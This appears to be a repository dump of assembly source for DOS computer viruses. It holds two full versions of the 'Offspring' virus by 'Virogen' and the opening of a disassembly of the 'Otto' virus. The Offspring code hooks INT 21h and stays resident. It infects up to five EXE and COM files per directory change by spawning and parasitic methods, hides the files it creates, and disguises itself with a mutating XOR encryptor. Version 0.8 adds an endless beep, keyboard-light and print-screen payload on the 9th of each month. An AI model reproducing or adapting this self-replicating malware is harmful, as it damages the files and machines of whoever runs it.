; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
VEND DW 0 ; End of virus
CSEG ENDS
END START
@@ -0,0 +1,665 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.8 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.8
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; encryption routine switches from using di to si.
; Not anything overly amazing, but it works.
;
;
title offspring_1
.286
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low - loc in mem
f_sizeh equ 1ah ; File size - high - loc in mem
f_date equ 18h ; File date - loc in mem
f_time equ 16h ; File time - loc in mem
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
start:
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp:
dw 0000
skip_dec:
jmp main ; Skip decryption, changes into NOP on
; replicated copies.
di_op db 0bfh
mov_di dw offset enc_data+2 ; Point to byte after encryption num
;
;-------------------------
; Encryption/Decryption
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
sw_byte3: ; INC xx changes position in these bytes
inc di
nop
nop
sw_byte4:
inc di
nop
nop
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;-------------------------------
; Non-Resident portion of virus
;-------------------------------
main proc
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for EXEC
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
mov ah,09 ; display virus name
lea dx,vname[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
call install ; check if installed, if not install
cmp byte ptr vtype[bp],parastic
je com_return
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ax,4b00h
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
mov si,bp
mov cx,4 ; Restore original first
add si,offset org_bytes ; five bytes of COM file
mov di,0100h
cld
rep movsb
mov ax,0100h ; Simulate CALL return to 0100h
push ax
ret
main endp
;--------------------------------------
; INSTALL - Install the virus
;--------------------------------------
install proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
jne no_install
mov ax,ds: [3] ;Block size in MCB
sub ax,190 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],ds ; Save seg
lea ax, new21
mov es: [21h*4],ax ; off
sti
no_install:
push cs ; Restore regs
pop ds
push cs
pop es
ret
install endp
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ah, 3bh ; set dir func?
je run_res
cmp ah,0eh ; set disk func?
je run_res
jmp end_21
run_res:
pushf
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ;
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
je set_mem ; total system memory.
jmp no_mem_func
set_mem:
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],3 ; Add 3k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta
mov ax,word ptr old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
new21 endp ; End of handler
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov byte ptr vtype,spawn
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data+2
find_first:
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend
lea di, vend+2
mov cx, 22
cld
rep movsw
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
mov ah, 4eh ; Findfirst
mov cx, 0 ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx
lm3 : ; find end of directory name
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me: ; search for filename ext.
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
start_inf:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;--------------------------------------
; Spawning infection
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;----------------------------------------
; Parastic infection
parastic_inf :
cmp word ptr vend+f_sizeh,400h
jge cont_inf2
jmp no_infect
cont_inf2:
lea si,vend+f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,vend+f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax
mov ah,3fh ; Read first bytes of file
mov cx,04
lea dx,org_bytes
int 21h
cmp word ptr org_bytes,0e990h
jne cont_inf
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data+2
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr vend+f_sizeh
sub ax,4
mov word ptr new_jmp+1,ax
mov ah,40h
mov cx,4
lea dx,new_code
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
encrypt_ops:
;-----------------------------
; Change encryptions ops
push bx
cmp pad_bytes,50
je reset_pad
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr
jmp pad_ok
reset_pad:
mov ax,pad_bytes
sub word ptr b_wr,ax
xor ax,ax
mov pad_bytes,ax
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov ah,inc_op
xor cx,cx
lea di,sw_byte3
chg_four:
xor bx,bx ; Switch INC xx's location
cmp word ptr [di],9090h
je mov_pos
inc bx
inc bx
cmp byte ptr [di+1],90h ; is second byte not 90h
je mov_pos
dec bx
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
mov byte ptr [di+2],90h ; to NOP
mov byte ptr [di+bx],ah ; place inc xx in other byte
lea di,sw_byte4
inc cx
cmp cx,1
je chg_four
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - millisecs
mov word ptr xor_op+2,dx ; save encryption #
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+52 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h
;----------------------------------------
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr vend[f_time]
mov dx,word ptr vend[f_date]
int 21h
close:
mov ah, 3eh
int 21h
no_infect:
; Find next file
find_file :
cmp inf_count, max_inf
je end_prog
mov ah,4fh
int 21h
jc end_prog
jmp next_loop
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first
find_done:
mov byte ptr vtype,spawn
mov fname_off, offset fname1
ret
resident endp
vtype db spawn ; Infection type
rot_num dw 0000 ; Used when replacing bytes with OP_SET
inf_count db 0 ; How many files we have infected this run
com_name db 'COMMAND.COM' ; obvious
new_code db 90h
new_jmp db 0e9h,00,00 ; New Jump
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
pad_bytes dw 0 ; Increase in viru size
add_mem db 0 ; Add memory back?
old_dta dd 0 ; Old DTA Segment:Address
inc_op db 47h ; INC DI (47h) or INC SI (46h)
copyr db '(c)1993 negoriV' ; my copyright
vname db 0ah,0dh,'OFFSPRING V0.8','$'
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
fname_off dw fname1 ; Offset of Filespec to use
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
vend: ; End of virus
cseg ends
end start
+284
View File
@@ -0,0 +1,284 @@
;******************************************************************************
; Otto Virus
;
; Disassembled by Data Disruptor
; (c) 1992 RABID International Development
; (May.12.92)
;
; Original virus written by YAM (Youth Against McAfee) 1992
;
; Notes: Otto Schtuck (Pardon the spelling?) claims that this is a super-
; encrypting virus. Well, it took me all of two minutes to get the virus
; into it's disassembled form. Try again guys. It wasn't half bad. For
; this virus, I could not use the techniques outlined in my article in
; Censor Volume 1~, therefore, I had to use another method (which,
; coincidentally is a lot better). Be expecting "Decrypting Viruses
; Part ][" in the next issue of Censor (Slated for release in early
; June).
;
; As always, these disassemblies compile but do not run. They are
; intended to be used for "Hmm. Let's see how that group program's"
; purposes only.
;
; Data Disruptor
; RABID
;
; ~ I don't know the reason why my method outlined in Censor I didn't work.
; It could have had something to do with SMARTDRV and FSP conflicting in
; memory. Nonetheless, another method was found.
;
; (Ok. So it's not one of my best disassemblies, but at least it shows how
; one can decrypt encrypted viruses...)
;
; A scan for this virus is;
